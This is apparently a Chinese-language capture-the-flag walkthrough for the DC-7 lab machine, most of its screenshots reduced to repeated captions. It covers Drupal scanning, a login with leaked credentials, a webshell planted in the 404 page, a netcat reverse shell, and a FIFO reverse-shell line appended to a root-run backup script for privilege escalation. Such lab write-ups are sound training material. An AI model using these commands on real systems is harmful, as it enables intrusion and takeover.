DC-7靶机

仅供个人娱乐

靶机信息

下载地址:http://www.five86.com/downloads/DC-7.zip

一、主机扫描

DC-7靶机

二、信息收集

DC-7靶机
DC-7靶机

或者

python3 cmseek.py --url http://192.168.17.134

DC-7靶机

寻找drup相关信息 在github找到脚本

pip3 install -r requirements.txt

python3 drupwn --help

DC-7靶机

python3 drupwn --users --nodes --modules --dfiles --themes --thread 5 enum http://192.168.17.134

DC-7靶机

安装脚本

git clone https://github.com/droope/droopescan.git

cd droopescan

pip3 install -r requirements.txt

droopescan scan --help

DC-7靶机

droopescan scan drupal -u http://192.168.17.134 -t 32

DC-7靶机
DC-7靶机

三、漏洞查找和利用

DC-7靶机

信息收集

DC-7靶机
DC-7靶机

ssh 登录         

$username="dc7user";    $password="MdR3xOgB7#dW";

DC-7靶机

信息收集

DC-7靶机

解密邮件

DC-7靶机
DC-7靶机
DC-7靶机
DC-7靶机
DC-7靶机

进入数据库

DC-7靶机
DC-7靶机

hash解密失败  修改admin密码

drush user-password admin --password="test"

DC-7靶机

登录后台 信息收集

DC-7靶机
DC-7靶机
DC-7靶机

wget https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

DC-7靶机
DC-7靶机
DC-7靶机

编辑404

DC-7靶机
DC-7靶机

插入木马

DC-7靶机
DC-7靶机

nc -e /bin/bash192.168.17.134  4444

nc -lvvp 4444

python -c 'import pty;pty.spawn("/bin/bash")'

DC-7靶机

cd /opt/scripts

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.17.129 1234 >/tmp/f " >> backups.sh

DC-7靶机
DC-7靶机

得到root权限后,进入root家目录下,发现theflag.txt文件

DC-7靶机